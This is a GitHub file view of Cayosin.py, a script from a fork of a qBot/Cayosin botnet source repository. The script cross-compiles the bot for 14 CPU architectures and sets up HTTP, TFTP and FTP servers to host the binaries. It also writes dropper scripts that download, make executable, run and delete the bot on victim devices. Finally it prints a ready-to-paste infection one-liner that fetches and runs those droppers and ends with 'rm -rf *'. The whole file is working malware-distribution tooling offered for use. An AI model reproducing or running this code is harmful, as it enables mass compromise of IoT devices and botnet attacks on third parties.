forked from USBBios/Cayosin-qBot-Botnet-Src
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCayosin.py
190 lines (147 loc) · 6.74 KB
/
Cayosin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#Python auto cross compiler, Modified for blade
import subprocess, sys , time
if len(sys.argv) < 3:
print("\x1b[0;33mIncorrect Usage!")
print("\x1b[0;33mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> <PREFIX>\x1b[0m")
sys.exit()
bot = "~/bot/*.c"
ip = sys.argv[2]
prefix = sys.argv[3]
print "\x1b[1;36mCayosin \x1b[31m- Boats - \x1b[34mCoded by Heat\x1b[0m"
arch_question = raw_input("\x1b[1;36mOpen The Gates? Y/n:\x1b[0m")
if arch_question.lower() == "y":
get_arch = True
else:
get_arch = False
time.sleep(5)
compileas = ["mips", #mips
"mipsel", #mipsel
"sh4", #sh4
"x86", #x86
"armv7l", #Armv7
"armv6l", #Armv6l
"i686", #i686
"powerpc", #ppc
"i586", #i586
"m68k", #m68k
"sparc", #sparc
"armv4l", #' '
"armv5l", #apache2
"powerpc-440fp"] #ppc-440fp
getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
'https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2',
'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
ccs = ["cross-compiler-mips",
"cross-compiler-mipsel",
"cross-compiler-sh4",
"cross-compiler-x86_64",
"cross-compiler-armv7l",
"cross-compiler-armv6l",
"cross-compiler-i686",
"cross-compiler-powerpc",
"cross-compiler-i586",
"cross-compiler-m68k",
"cross-compiler-sparc",
"cross-compiler-armv4l",
"cross-compiler-armv5l",
"cross-compiler-powerpc-440fp"]
def run(cmd):
subprocess.call(cmd, shell=True)
run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
if get_arch == True:
run("rm -rf cross-compiler-*")
print("\x1b[1;36mDownloading Architectures...\x1b[0m")
for arch in getarch:
run("wget " + arch + " --no-check-certificate >> /dev/null")
run("tar -xvf *tar.*")
run("rm -rf *tar.*")
print("\x1b[1;36mDownloaded cross compilers...\x1b[0m")
num = 0
for cc in ccs:
arch = cc.split("-")[2]
run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + "_BUILD -o " + compileas[num] + " " + bot + " > /dev/null")
run("./"+cc+"/bin/"+arch+"-strip -s " + arch.upper() + " > /dev/null")
#ok = "./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + "_BUILD -o " + compileas[num] + " " + bot + " > /dev/null"
#run("echo '"+ok+"' >> lol.txt")
num += 1
print("\x1b[33mCross Compiling Done...\x1b[0m")
print("\x1b[1;36mSetting up HTTPD and TFTP...\x1b[0m")
time.sleep(5)
run("yum install httpd -y")
run("service httpd start")
run("yum install xinetd tftp tftp-server -y")
run("yum install vsftpd -y")
run("service vsftpd start")
run('''echo -e "# default: off
# description: The tftp server serves files using the trivial file transfer \
# protocol. The tftp protocol is often used to boot diskless \
# workstations, download configuration files to network-aware printers, \
# and to start the installation process for some operating systems.
service tftp
{
socket_type = dgram
protocol = udp
wait = yes
user = root
server = /usr/sbin/in.tftpd
server_args = -s -c /var/lib/tftpboot
disable = no
per_source = 11
cps = 100 2
flags = IPv4
}
" > /etc/xinetd.d/tftp''')
run("service xinetd start")
print("\x1b[1;36mStarting xinetd...\x1b[0m")
time.sleep(5)
run('''echo -e "listen=YES
local_enable=NO
anonymous_enable=YES
write_enable=NO
anon_root=/var/ftp
anon_max_rate=2048000
xferlog_enable=YES
listen_address='''+ ip +'''
listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
run("service vsftpd restart")
print("\x1b[1;36mRestarting vsftpd...\x1b[0m")
time.sleep(5)
for i in compileas:
run("cp " + i + " /var/www/html")
run("cp " + i + " /var/ftp")
run("mv " + i + " /var/lib/tftpboot")
run('echo -e "#!/bin/bash" > /var/lib/tftpboot/'+prefix+'tftp1.sh')
run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/'+prefix+'tftp1.sh')
run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/'+prefix+'tftp1.sh')
run('echo -e "#!/bin/bash" > /var/lib/tftpboot/'+prefix+'tftp2.sh')
run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/'+prefix+'tftp2.sh')
run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/'+prefix+'tftp2.sh')
run('echo -e "#!/bin/bash" > /var/www/html/'+prefix+'bins.sh')
for i in compileas:
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/'+prefix+'bins.sh')
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/'+prefix+'tftp1.sh')
run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/'+prefix+'tftp2.sh')
run("service xinetd restart")
print("\x1b[1;36mRestarting xinetd...\x1b[0m")
time.sleep(5)
run("service httpd restart")
print("\x1b[1;36mRestarting httpd...\x1b[0m")
time.sleep(5)
run('echo -e "ulimit -n 99999" >> ~/.bashrc')
print("\x1b[1;36mUnlimiting connections allowed to server...\x1b[0m")
time.sleep(5)
print("\x1b[33mCross compiling complete!\x1b[1;36m Cut Out Their Hearts\x1b[0m")
print("\x1b[33mYour Payload\x1b[1;36m: wget http://" + ip + "/"+prefix+"bins.sh; chmod 777 "+prefix+"bins.sh; sh "+prefix+"bins.sh; tftp " + ip + " -c get "+prefix+"tftp1.sh; chmod 777 "+prefix+"tftp1.sh; sh "+prefix+"tftp1.sh; tftp -r "+prefix+"tftp2.sh -g " + ip + "; chmod 777 "+prefix+"tftp2.sh; sh "+prefix+"tftp2.sh; rm -rf "+prefix+"bins.sh "+prefix+"tftp1.sh "+prefix+"tftp2.sh; rm -rf *\x1b[0m")
print
exit(1)